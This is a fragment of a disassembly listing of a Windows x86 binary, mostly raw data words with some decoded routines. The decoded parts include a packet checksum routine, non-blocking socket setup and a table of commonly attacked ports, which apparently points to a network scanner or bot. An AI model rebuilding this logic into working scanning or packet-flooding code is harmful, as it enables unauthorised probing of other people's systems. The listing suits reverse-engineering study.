		dd 66004CAFh, 0E8EA4589h, 7802h, 401B999h, 0F9F70000h
		dd 7415FF52h, 68004CAFh, 12345678h, 0E8458966h,	0AF7015FFh
		dd 4589004Ch, 44858DECh, 68FFFFFEh, 42AB7Ch, 77EEE850h
		dd 85590000h, 97459C0h,	0C6F05D89h, 0EB02F545h,	44858D5Ch
		dd 68FFFFFEh, 42A9B8h, 77CEE850h, 85590000h, 97459C0h
		dd 0C6F05D89h, 0EB10F545h, 44858D3Ch, 68FFFFFEh, 42A9B0h
		dd 77AEE850h, 85590000h, 257459C0h, 7785E8h, 99036A00h
		dd 89F9F759h, 77E8F055h, 6A000077h, 0F7599902h,	1ADAF7F9h
		dd 0EE280D2h, 5588D102h, 20068F5h, 45C60000h, 15FF50F4h
		dd 4CAF74h, 0F6458966h,	89E0458Bh, 458B9C45h, 66146AE4h
		dd 66FA5D89h, 89F85D89h, 5D88A045h, 0A545C6A4h,	7415FF06h
		dd 66004CAFh, 8DA64589h, 206A9C45h, 60858D50h, 50FFFFFFh
		dd 8147E8h, 0E8458D00h,	8D50146Ah, 0E8508045h, 8138h, 0FF60858Dh
		dd 346AFFFFh, 6A82E850h, 8966FFFFh, 458DF845h, 50146AD4h
		dd 0FF60858Dh, 0E850FFFFh, 8114h, 6AE8458Dh, 858D5014h
		dd 0FFFFFF74h, 8102E850h, 46A0000h, 5388458Dh, 7376E850h
		dd 0C4830000h, 60858D44h, 6AFFFFFFh, 3DE85028h,	66FFFF6Ah
		dd 8DDE4589h, 146AD445h, 60858D50h, 50FFFFFFh, 80CFE8h
		dd 14C48300h, 6ABC458Dh, 8D535010h, 0FFFF6085h,	503C6AFFh
		dd 0FFFC75FFh, 4CAFD815h, 0FFF88300h, 45FF0874h, 0FDBAE908h
		dd 75FFFFFFh, 0C15FFFCh, 0FF004CB0h, 4CAF0815h,	858D5000h
		dd 0FFFFFDC4h, 500875FFh, 435DD468h, 0C0858D00h, 68FFFFFBh
		dd 200h, 76E6E850h, 0C4830000h,	589D3918h, 75FFFFFFh, 858D5323h
		dd 0FFFFFBC0h, 0FF54B5FFh, 8D50FFFFh, 0FFFEC485h, 0B5FF50FFh
		dd 0FFFFFDC0h, 0FF57ADE8h, 14C483FFh, 0FBC0858Dh, 0E850FFFFh
		dd 0ED8h, 0FF44B5FFh, 33E8FFFFh, 59FFFF71h, 0E8905359h
		dd 22BBD18h, 0FFFC75FFh, 4CB00C15h, 8458B00h, 0C06BD233h
		dd 0C1C88B3Ch, 0B5F70AE8h, 0FFFFFF4Ch, 5114E9C1h, 0C4858D50h
		dd 0FFFFFFFDh, 8D500875h, 0FFFE4485h, 858D50FFh, 0FFFFFBC0h
		dd 435D8468h, 5BE85000h, 83000075h, 9D391CC4h, 0FFFFFF58h
		dd 8D532375h, 0FFFBC085h, 54B5FFFFh, 50FFFFFFh,	0FEC4858Dh
		dd 0FF50FFFFh, 0FFFDC0B5h, 571CE8FFh, 0C483FFFFh, 0C0858D14h
		dd 50FFFFFBh, 0E47E8h, 44B5FF00h, 0E8FFFFFFh, 0FFFF70A2h
		dd 0E8535959h, 22BBC88h
		db 90h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+0Ch]
		mov	edx, [ebp+8]
		push	esi
		xor	esi, esi
		cmp	eax, 1
		mov	[ebp+0Ch], esi
		jle	short loc_4143A5
		mov	ecx, eax
		push	edi
		shr	ecx, 1
		lea	edi, [ecx+ecx]
		sub	eax, edi


loc_414397:				; CODE XREF: ___:0041439Fj
		movzx	edi, word ptr [edx]
		add	esi, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_414397
		pop	edi
		cmp	eax, 1


loc_4143A5:				; CODE XREF: ___:0041438Bj
		jnz	short loc_4143B2
		mov	al, [edx]
		mov	[ebp+0Ch], al
		movzx	eax, word ptr [ebp+0Ch]
		add	esi, eax


loc_4143B2:				; CODE XREF: ___:loc_4143A5j
		mov	ecx, esi
		and	esi, 0FFFFh
		sar	ecx, 10h
		add	ecx, esi
		pop	esi
		mov	eax, ecx
		sar	eax, 10h
		add	eax, ecx
		not	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------
byte_4143CB	db 55h			; DATA XREF: sub_401ACD+6D49o
		dd 0EC81EC8Bh, 394h, 5608458Bh,	59656A57h, 0BD8DF08Bh
		dd 0FFFFFE6Ch, 80C7A5F3h, 190h,	1, 0FEF0858Dh, 0E850FFFFh
		dd 737Dh, 858D5059h, 0FFFFFE70h, 0B415FF50h, 50004CAFh
		dd 0FE6CB58Dh, 0EC81FFFFh, 194h, 8B59656Ah, 0E8A5F3FCh
		dd 5Fh,	19CC481h, 8D500000h, 0FFFC6C85h, 5EB068FFh, 0E8500043h
		dd 744Ah, 0C483F633h, 0F875390Ch, 8D562075h, 0FFFC6C85h
		dd 0F475FFFFh, 70858D50h, 50FFFFFFh, 0FE6CB5FFh, 0FE8FFFFh
		dd 83FFFF56h, 858D14C4h, 0FFFFFC6Ch, 0D3AE850h,	75FF0000h
		dd 6F98E8F0h, 5959FFFFh, 7DE89056h, 55022BBBh, 0EC81EC8Bh
		dd 0CCh, 358B5653h, 4270A8h, 8957DB33h,	0D6FFFC5Dh, 0FF68h
		dd 6A036A00h, 0F0458902h, 0AFF415FFh, 4589004Ch, 50D6FFF8h
		dd 741FE8h, 78BF5900h, 57000005h, 16A096Ah, 41BBE8h, 50595900h
		dd 50D8458Dh, 70BBE8h, 0CC48300h, 5A0BEh, 0C830E800h, 2B900226h
		dd 0D233F045h, 3E8B9h, 3BF1F700h, 1A085h, 0C2870F00h, 39000001h
		dd 4CE7281Dh, 6A597500h, 45895810h, 458D50ECh, 0E8505398h
		dd 707Ch, 8D0CC483h, 8D50EC45h,	0FF509845h, 15FF0875h
		dd 4CAF18h, 0FF68h, 0E8016A00h,	4150h, 0F505959h, 509E45B6h
		dd 9D45B60Fh, 45B60F50h, 858D509Ch, 0FFFFFF34h,	42D57068h
		dd 2FE85000h, 83000073h, 13EB18C4h, 0FF34858Dh,	868FFFFh
		dd 50004CE1h, 7943E8h, 8D595900h, 0FFFF3485h, 15FF50FFh
		dd 4CAFB4h, 8BF44589h, 4524A845h, 0C6450C56h, 8910AC45h
		dd 15FFA845h, 4CAF74h, 0AE458966h, 7345E8h, 45896600h
		dd 0F4458BB0h, 8BB84589h, 19C85h, 45C76600h, 0C60040B2h
		dd 0C640B445h, 6606B545h, 89B65D89h, 1BE8BC45h,	66000073h
		dd 0E8C04589h, 7312h, 0C2458966h, 7309E8h, 0C4458900h
		dd 7301E8h, 0C8458900h,	66CC458Bh, 6AFF5025h, 0C6500C14h
		dd 6618CE45h, 66CC4589h, 66C2458Bh, 8B8A4589h, 4589BC45h
		dd 0A8458D8Ch, 45C76650h, 66787DD0h, 66D25D89h,	66D45D89h
		dd 28845C7h, 0FD57E800h, 8966FFFFh, 458DB645h, 50286AA8h
		dd 0FFFD48E8h, 0B8458BFFh, 8910C483h, 0FFFF5485h, 0BC458BFFh
		dd 58C68h, 58858900h, 88FFFFFFh, 0FFFF5C9Dh, 5D85C6FFh
		dd 6FFFFFFh, 0D0E8E890h, 89667169h, 0FFFF5E85h,	60858DFFh
		dd 6AFFFFFFh, 458D5014h, 99E850C0h, 8D00007Ch, 0FFFF7485h
		dd 8D5057FFh, 0E850D845h, 7C88h, 0FF54858Dh, 9868FFFFh
		dd 50000005h, 0FFFCE0E8h, 20C483FFh, 0D2458966h, 458D106Ah
		dd 8D535088h, 5056A845h, 0FFF875FFh, 4CAFD815h,	0FC45FF00h
		dd 0FFFE20E9h, 0F875FFFFh, 0B00C15FFh, 458B004Ch, 5B5E5FFCh
; ---------------------------------------------------------------------------
		leave
		retn
; ---------------------------------------------------------------------------
word_4146CE	dw 8B55h		; DATA XREF: sub_401ACD+4CBFo
		dd 14EC81ECh, 8B000004h, 0B8560855h, 85h, 8BC88B57h, 0ECBD8DF2h
		dd 81FFFFFDh, 214ECh, 8BA5F300h, 0ECB58DC8h, 8BFFFFFDh
		dd 1082C7FCh, 1000002h,	0F3000000h, 37E8A5h, 0C4810000h
		dd 214h, 0EC858D50h, 68FFFFFBh,	435EE4h, 7160E850h, 858D0000h
		dd 0FFFFFBECh, 0A7AE850h, 75FF0000h, 6CD8E8F0h,	0C483FFFFh
		dd 90006A14h, 2BB8BBE8h, 0EC8B5502h, 254EC81h, 56530000h
		dd 0FFBBh, 6A535700h, 0FF026A03h, 4CAFF415h, 0FFF88300h
		dd 75F44589h, 0AC858D1Ah, 68FFFFFDh, 4360D4h, 710CE850h
		dd 33590000h, 0C9E959FFh, 8D000002h, 46AEC4Dh, 6AFF3351h
		dd 0C7505702h, 1EC45h, 15FF0000h, 4CAF54h, 75FFF883h, 815FF0Eh
		dd 50004CAFh, 43608468h, 8D1BEB00h, 0FF500C45h,	4CAFB415h
		dd 0FFF88300h, 15FF2075h, 4CAF08h, 60406850h, 858D0043h
		dd 0FFFFFDACh, 70B0E850h, 0C4830000h, 26EE90Ch,	66570000h
		dd 2DC45C7h, 7415FF00h,	66004CAFh, 8DDE4589h, 0E8500C45h
		dd 7169CB00h, 0A8358B90h, 89004270h, 0D6FFE045h, 8DF84589h
		dd 8D500C45h, 0FFFDAC85h, 601468FFh, 0E8500043h, 706Ah
		dd 390CC483h, 214BDh, 57207500h, 0FDAC858Dh, 0B5FFFFFFh
		dd 210h, 8C858D50h, 50000001h, 0E80875FFh, 0FFFF522Eh
		dd 8914C483h, 0D6FFFC7Dh, 33F8452Bh, 3E8B9D2h, 0F1F70000h
		dd 858DF08Bh, 10Ch, 6F13E850h, 0F03B0000h, 93870F59h, 0BE000001h
		dd 41Ch, 0FFBB05EBh, 39000000h,	4CE7283Dh, 6A527500h, 45895810h
		dd 458D50F0h, 0E85057CCh, 6CFCh, 8D0CC483h, 8D50F045h
		dd 0FF50CC45h, 15FF0875h, 4CAF18h, 0E8016A53h, 3DD4h, 0F505959h
		dd 50D245B6h, 0D145B60Fh, 45B60F50h, 458D50D0h,	0D57068ACh
		dd 0E8500042h, 6FB6h, 0EB18C483h, 0AC458D10h, 4CE10868h
		dd 0CDE85000h, 59000075h, 5C65659h, 4CE308h, 7415FF45h
		dd 66004CAFh, 4CE30AA3h, 0AC458D00h, 5C76650h, 4CE30Ch
		dd 89660001h, 4CE30E3Dh, 1005C600h, 80004CE3h, 0E31105C6h
		dd 6611004Ch, 0E3123D89h, 15FF004Ch, 4CAFB4h, 4CE314A3h
		dd 0E0458B00h, 4CE318A3h, 8C858D00h, 50000000h,	223D8966h
		dd 0E8004CE3h, 6E31h, 7559C085h, 6F90E810h, 0B9990000h
		dd 401h, 0EB52F9F7h, 8C858D0Eh,	50000000h, 6E10E8h, 0FF505900h
		dd 4CAF7415h, 1EA36600h, 0E8004CE3h, 6F66h, 401B999h, 8680000h
		dd 0F7000004h, 158966F9h, 4CE31Ch, 0AF7415FFh, 68004Ch
		dd 66000004h, 4CE320A3h, 6F3CE800h, 0F7990000h,	246852FBh
		dd 0E8004CE3h, 6BDCh, 8D0CC483h, 106ADC45h, 68565750h
		dd 4CE308h, 0FFF475FFh,	4CAFD815h, 0FFF88300h, 0A5840Fh
		dd 45FF0000h, 33E890FCh, 2B0226C3h, 0D233F845h,	3E8B9h
		dd 8BF1F700h, 0C858DD8h, 50000001h, 6D80E8h, 59D83B00h
		dd 0FE74860Fh, 75FFFFFFh, 0C15FFF4h, 8B004CB0h,	858DFC75h
		dd 10Ch, 1CF66950h, 0E8000004h,	6D59h, 8BD23359h, 0C1C68BC8h
		dd 0F1F70AE8h, 5014EEC1h, 0FC75FF56h, 500C458Dh, 435FB068h
		dd 0AC858D00h, 50FFFFFDh, 6E3DE8h, 18C48300h, 214BD39h
		dd 20750000h, 0AC858D57h, 0FFFFFFFDh, 210B5h, 858D5000h
		dd 18Ch, 875FF50h, 0FF5001E8h, 14C483FFh, 0C0335E5Fh, 0FFC3C95Bh
		dd 0FF56FC75h, 4CAF0815h, 458D5000h, 2468500Ch,	0EB00435Fh
		db 0ACh
byte_414A91	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+6361o
		dd 414EC81h, 458B0000h,	0B9575608h, 85h, 0BD8DF08Bh, 0FFFFFDECh
		dd 80C7A5F3h, 210h, 1, 0FEF0858Dh, 0E850FFFFh, 6CB5h, 858D5059h
		dd 0FFFFFE70h, 6CA7E850h, 50590000h, 0FDF0858Dh, 0FF50FFFFh
		dd 4CAFB415h, 47E85000h, 83000001h, 8D500CC4h, 0FFFBEC85h
		dd 610068FFh, 0E8500043h, 6D8Ah, 0C483F633h, 0F875390Ch
		dd 8D562075h, 0FFFBEC85h, 0F475FFFFh, 70858D50h, 50FFFFFFh
		dd 0FDECB5FFh, 4FE8FFFFh, 83FFFF4Fh, 858D14C4h,	0FFFFFBECh
		dd 67AE850h, 75FF0000h,	68D8E8F0h, 5959FFFFh, 0B4BEE856h
		dd 5F90022Bh
; ---------------------------------------------------------------------------
		pop	esi
		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		and	dword ptr [ebp-4], 0
		cmp	dword ptr [ebp+14h], 0
		push	esi
		push	edi
		jnz	short loc_414B6E
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		nop
		call	near ptr 71AB3E5Dh
		jmp	loc_414C2A
; ---------------------------------------------------------------------------


loc_414B6E:				; CODE XREF: ___:00414B58j
		mov	esi, [ebp+8]
		push	1
		pop	edi
		lea	eax, [ebp-8]
		push	eax
		push	8004667Eh
		push	esi
		mov	[ebp-8], edi
		nop
		call	near ptr 71AB155Ah
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	esi
		call	dword_4CAF1C
		push	dword ptr [ebp+14h]
		lea	eax, [ebp-210h]
		mov	[ebp-108h], esi
		mov	[ebp-10Ch], edi
		push	0
		push	eax
		lea	eax, [ebp-10Ch]
		mov	[ebp-20Ch], esi
		push	eax
		lea	eax, [esi+1]
		push	eax
		mov	[ebp-210h], edi
		call	dword_4CAF5C
		test	eax, eax
		jnz	short loc_414BD2
		or	eax, 0FFFFFFFFh
		jmp	short loc_414C2A
; ---------------------------------------------------------------------------


loc_414BD2:				; CODE XREF: ___:00414BCBj
		or	edi, 0FFFFFFFFh
		cmp	eax, edi
		jnz	short loc_414BDD


loc_414BD9:				; CODE XREF: ___:00414BFDj
					; ___:00414C21j
		mov	eax, edi
		jmp	short loc_414C2A
; ---------------------------------------------------------------------------


loc_414BDD:				; CODE XREF: ___:00414BD7j
		lea	eax, [ebp-10Ch]
		push	eax
		push	esi
		call	sub_426756
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_414BFF
		lea	eax, [ebp-210h]
		push	eax
		push	esi
		call	sub_426756
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_414BD9


loc_414BFF:				; CODE XREF: ___:00414BECj
		lea	eax, [ebp+8]
		mov	dword ptr [ebp+8], 4
		push	eax
		lea	eax, [ebp-4]
		push	eax
		push	1007h
		push	0FFFFh
		push	esi
		call	near ptr 71AB4122h
		nop
		cmp	eax, edi
		jz	short loc_414BD9
		mov	eax, [ebp-4]
		neg	eax
		sbb	eax, eax


loc_414C2A:				; CODE XREF: ___:00414B69j
					; ___:00414BD0j ...
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		dw 8B55h
		dd 0CEC81ECh, 53000001h, 16A5756h, 50DB3358h, 0FF685353h
		dd 6A000000h, 89026A03h, 0E890EC45h, 716A0DADh,	6AEC4D8Dh
		dd 26A5104h, 98A35053h,	0FF004CE7h, 4CAF5415h, 0A8358B00h
		dd 0FF004270h, 61E850D6h, 5900006Ch, 196AC033h,	0FF00BD8Dh
		dd 8959FFFFh, 0FFFEF49Dh, 844D89FFh, 0FEF89D89h, 9D89FFFFh
		dd 0FFFFFEFCh, 0FF7485C7h, 401FFFFh, 85C70000h,	0FFFFFF78h
		dd 15h,	0FF7C85C7h, 16FFFFh, 45C70000h,	1780h, 8845C700h
		dd 35h,	508C45C7h, 0C7000000h, 519045h,	45C70000h, 5894h
		dd 9845C700h, 6Eh, 719C45C7h, 0C7000000h, 77A045h, 45C70000h
		dd 87A4h, 0A845C700h, 89h, 8BAC45C7h, 0C7000000h, 8FB045h
		dd 45C70000h, 1BBB4h, 0B845C700h, 1BDh,	0BC45C7h, 0C7000004h
		dd 599C045h, 45C70000h,	5DCC4h,	0C845C700h, 6B8h, 0EACC45C7h
		dd 0C700000Ch, 0D3DD045h, 45C70000h, 1388D4h, 0D845C700h
		dd 1A0Bh, 40DC45C7h, 0C700001Fh, 1F90E045h, 0ABF30000h
		dd 0C7F05D89h, 3E445h, 45C70000h, 0BB8E8h, 0FC5D8900h
		dd 6608458Bh, 0FF6485C7h, 2FFFFh, 0FF688589h, 458BFFFFh
		dd 5BC8DFCh, 0FFFFFF74h, 5848B66h, 0FFFFFF74h, 7415FF50h
		dd 53004CAFh, 26A016Ah,	66858966h, 0FFFFFFFFh, 4CAFF415h
		dd 0E44D8D00h, 51F44589h, 0FF648D8Dh, 106AFFFFh, 7EE85051h
		dd 83FFFFFDh, 458910C4h, 0F475FFF8h, 0B00C15FFh, 5D39004Ch
		dd 8B0C75F8h, 78BFC4Dh,	0F40D8489h, 83FFFFFEh, 8304FC45h
		dd 7C70FC7Dh, 0E79CBF83h, 2C68004Ch, 570042CAh,	6A85E8h
		dd 0FF595900h, 0F44589D6h, 0FEF4858Dh, 5D89FFFFh, 0F84589FCh
		dd 452BD6FFh, 0B9D233F4h, 3E8h,	453BF1F7h, 8B45770Ch, 8BF845h
		dd 1574C33Bh, 2C685750h, 57004361h, 0E8F04589h,	6A46h
		dd 0EB10C483h, 0FFFF681Ah, 0E8530000h, 3834h, 0FF505959h
		dd 4CAF7415h, 0C0B70F00h, 0FFF04589h, 4583FC45h, 7D8304F8h
		dd 0A87C1CFCh, 6853286Ah, 4CE738h, 6717E8h, 0FFFFBE00h
		dd 5C60000h, 4CE738h, 685645h, 0C6000004h, 4CE74105h, 5C60600h
		dd 4CE739h, 37E6E808h, 0C4830000h, 15FF5014h, 4CAF74h
		dd 0A366286Ah, 4CE73Ch,	0AF7415FFh, 0D80004Ch, 4CE740h
		dd 281D39FFh, 66004CE7h, 4CE73AA3h, 1D896600h, 4CE73Eh
		dd 0FE681A75h, 6A0000FFh, 37A6E801h, 59590000h,	0C1084D8Bh
		dd 0CE2310E0h, 0BEBC10Bh, 4CE10868h, 0B415FF00h, 0A3004CAFh
		dd 4CE744h, 6808458Bh, 4000h, 4CE748A3h, 591D8800h, 0FF004CE7h
		dd 4CAF7415h, 66535600h, 4CE75AA3h, 3762E800h, 0F88B0000h
		dd 0E7C15356h, 3756E808h, 0C4830000h, 57F80310h, 0AF7015FFh
		dd 50A3004Ch, 0A0004CE7h, 4CE758h, 24087D8Bh, 6A500C0Fh
		dd 0E758A214h, 8B66004Ch, 1D89F045h, 4CE754h, 5E1D8966h
		dd 66004CE7h, 4CE74EA3h, 743D8900h, 88004CE7h, 4CE7781Dh
		dd 7905C600h, 6004CE7h,	0AF7415FFh, 0A366004Ch,	4CE77Ah
		dd 0E74EA166h, 0C766004Ch, 4CE76005h, 89000200h, 4CE7643Dh
		dd 62A36600h, 89004CE7h, 5EBFC5Dh, 0FFFFBEh, 0FC5D3900h
		dd 53562F75h, 36CBE8h, 50595900h, 0AF7415FFh, 0A366004Ch
		dd 4CE74Ch, 4CE744A1h, 0E770A300h, 5C6004Ch, 4CE759h, 541D8902h
		dd 0EB004CE7h, 0C653561Fh, 4CE75905h, 95E81000h, 59000036h
		dd 15FF5059h, 4CAF74h, 0A3C0B70Fh, 4CE754h, 3C05FF66h
		dd 0FF004CE7h, 4CE75005h, 4EA16600h, 6A004CE7h,	4CBE5905h
		dd 0BF004CE7h, 4CE77Ch,	421D8966h, 66004CE7h, 0E75C1D89h
		dd 146A004Ch, 38BEA5F3h, 66004CE7h, 4CE762A3h, 25E85600h
		dd 6AFFFF5Ch, 0E7706820h, 0A366004Ch, 4CE742h, 0FF5C13E8h
		dd 10C483FFh, 0E75CA366h, 106A004Ch, 4CE76068h,	286A5300h
		dd 9835FF56h, 0FF004CE7h, 4CAFD815h, 0FC45FF00h, 0FFFC7D81h
		dd 0F000003h, 0FFFF238Ch, 87E890FFh, 2B0226BCh,	0D233F445h
		dd 3E8B9h, 3BF1F700h, 0E770C45h, 0E81075FFh, 225B50Fh
		dd 0FDC2E990h, 5E5FFFFFh, 4CE79CB8h, 0C3C95B00h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4150B4	proc near		; CODE XREF: sub_401ACD+71FFp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		push	edi
		mov	esi, offset dword_43D130
		mov	edi, 0B8h


loc_4150C8:				; CODE XREF: sub_4150B4+33j
		cmp	byte ptr [esi],	0
		jz	short loc_4150EB
		push	[ebp+arg_0]
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4150EB
		inc	[ebp+var_4]
		add	esi, edi
		cmp	esi, offset dword_43DCB0
		jl	short loc_4150C8
		jmp	short loc_41512D
; ---------------------------------------------------------------------------


loc_4150EB:				; CODE XREF: sub_4150B4+17j
					; sub_4150B4+26j
		mov	esi, [ebp+var_4]
		push	ebx
		imul	esi, 0B8h
		push	edi
		push	0
		lea	ebx, dword_43D130[esi]
		push	ebx
		call	sub_41B590
		push	17h
		push	[ebp+arg_0]
		push	ebx
		call	sub_41B5F0
		push	9Fh
		lea	eax, dword_43D148[esi]
		push	[ebp+arg_4]
		push	eax
		call	sub_41B5F0
		add	esp, 24h
		inc	dword_429230
		pop	ebx


loc_41512D:				; CODE XREF: sub_4150B4+35j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		leave
		retn
sub_4150B4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415134	proc near		; CODE XREF: sub_401ACD+28DDp

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		push	edi
		push	0
		push	[ebp+arg_8]
		push	offset dword_436148
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h
		xor	edi, edi
		mov	esi, offset dword_43D130


loc_41515E:				; CODE XREF: sub_415134+72j
		cmp	byte ptr [esi],	0
		jz	short loc_415199
		lea	eax, [esi+18h]
		push	eax
		push	esi
		push	edi
		push	offset dword_436134
		lea	eax, [ebp+var_200]
		push	200h
		push	eax
		call	sub_41B980
		push	1
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 2Ch


loc_415199:				; CODE XREF: sub_415134+2Dj
		add	esi, 0B8h
		inc	edi
		cmp	esi, offset dword_43DCB0
		jl	short loc_41515E
		pop	edi
		pop	esi
		leave
		retn
sub_415134	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4151AC	proc near		; CODE XREF: ___:004015A5p
					; ___:00401629p ...

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		nop
		call	near ptr 27704B0h
		mov	ebx, offset dword_4D2B9C
		mov	edi, 80h
		mov	esi, offset dword_4CEB9C


loc_4151CE:				; CODE XREF: sub_4151AC+3Dj
		cmp	byte ptr [ebx],	0
		jz	short loc_4151E5
		push	7Fh
		lea	eax, [ebx+80h]
		push	ebx
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch


loc_4151E5:				; CODE XREF: sub_4151AC+25j
		sub	ebx, edi
		cmp	ebx, esi
		jge	short loc_4151CE
		movzx	eax, [ebp+var_4]
		push	[ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		push	offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
		push	edi
		push	esi
		call	sub_41B980
		add	esp, 28h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4151AC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415220	proc near		; CODE XREF: sub_4017ED+F7p
					; sub_401ACD:loc_402077p ...

var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 80h
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_80]
		push	[ebp+arg_0]
		push	80h
		push	eax
		call	sub_41C190
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_4151AC
		add	esp, 14h
		leave
		retn
sub_415220	endp


; =============== S U B	R O U T	I N E =======================================



sub_41524C	proc near		; CODE XREF: sub_401ACD+27D4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, offset dword_4CEB9C
		xor	ecx, ecx


loc_415253:				; CODE XREF: sub_41524C+13j
		mov	[eax], cl
		add	eax, 80h
		cmp	eax, offset dword_4D2B9C
		jl	short loc_415253
		cmp	[esp+arg_C], ecx
		jnz	short loc_415281
		push	ecx
		push	[esp+4+arg_8]
		push	offset dword_436194
		push	[esp+0Ch+arg_4]
		push	[esp+10h+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_415281:				; CODE XREF: sub_41524C+19j
		push	offset dword_436180
		call	sub_4151AC
		pop	ecx
		retn
sub_41524C	endp

; ---------------------------------------------------------------------------
byte_41528D	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+2887o
; ---------------------------------------------------------------------------
		sub	esp, 31Ch
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	45h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-11Ch]
		push	1
		rep movsd
		xor	edx, edx
		pop	edi
		cmp	[ebp-10h], edx
		mov	dword ptr [ebp-8], 80h
		mov	[ebp-4], edx
		mov	[eax+110h], edi
		jnz	short loc_4152E0
		push	edx
		lea	eax, [ebp-118h]
		push	dword ptr [ebp-14h]
		push	offset dword_4361C4
		push	eax
		push	dword ptr [ebp-11Ch]
		call	sub_409A72
		add	esp, 14h


loc_4152E0:				; CODE XREF: ___:004152C0j
		cmp	byte ptr [ebp-98h], 0
		jz	short loc_415300
		lea	eax, [ebp-98h]
		push	eax
		call	sub_41B779
		test	eax, eax
		pop	ecx
		mov	[ebp-4], eax
		jz	short loc_415300
		mov	[ebp-8], eax


loc_415300:				; CODE XREF: ___:004152E7j
					; ___:004152FBj
		and	dword ptr [ebp+8], 0
		mov	esi, offset dword_4CEB9C


loc_415309:				; CODE XREF: ___:00415361j
		mov	eax, [ebp+8]
		cmp	eax, [ebp-8]
		jge	short loc_415363
		cmp	byte ptr [esi],	0
		jz	short loc_415352
		cmp	byte ptr [ebp-98h], 0
		jz	short loc_415338
		cmp	dword ptr [ebp-4], 0
		jnz	short loc_415338
		lea	eax, [ebp-98h]
		push	eax
		push	esi
		call	sub_418086
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415352


loc_415338:				; CODE XREF: ___:0041531Dj
					; ___:00415323j
		push	edi
		lea	eax, [ebp-118h]
		push	dword ptr [ebp-14h]
		push	esi
		push	eax
		push	dword ptr [ebp-11Ch]
		call	sub_409A72
		add	esp, 14h


loc_415352:				; CODE XREF: ___:00415314j
					; ___:00415336j
		inc	dword ptr [ebp+8]
		add	esi, 80h
		cmp	esi, offset dword_4D2B9C
		jl	short loc_415309


loc_415363:				; CODE XREF: ___:0041530Fj
		lea	eax, [ebp-31Ch]
		push	offset dword_4361A8
		push	eax
		call	sub_41B886
		xor	esi, esi
		pop	ecx
		cmp	[ebp-10h], esi
		pop	ecx
		jnz	short loc_41539D
		push	esi
		lea	eax, [ebp-31Ch]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-118h]
		push	eax
		push	dword ptr [ebp-11Ch]
		call	sub_409A72
		add	esp, 14h


loc_41539D:				; CODE XREF: ___:0041537Bj
		lea	eax, [ebp-31Ch]
		push	eax
		call	sub_4151AC
		push	dword ptr [ebp-18h]
		call	sub_40B412
		pop	ecx
		pop	ecx
		push	esi
; ---------------------------------------------------------------------------
		dd 2BAC47E8h, 5E5F9002h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4153BC	proc near		; CODE XREF: sub_401ACD+734Fp

var_484		= byte ptr -484h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= word ptr -78h
var_76		= word ptr -76h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= word ptr -4Ch
var_4A		= word ptr -4Ah
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
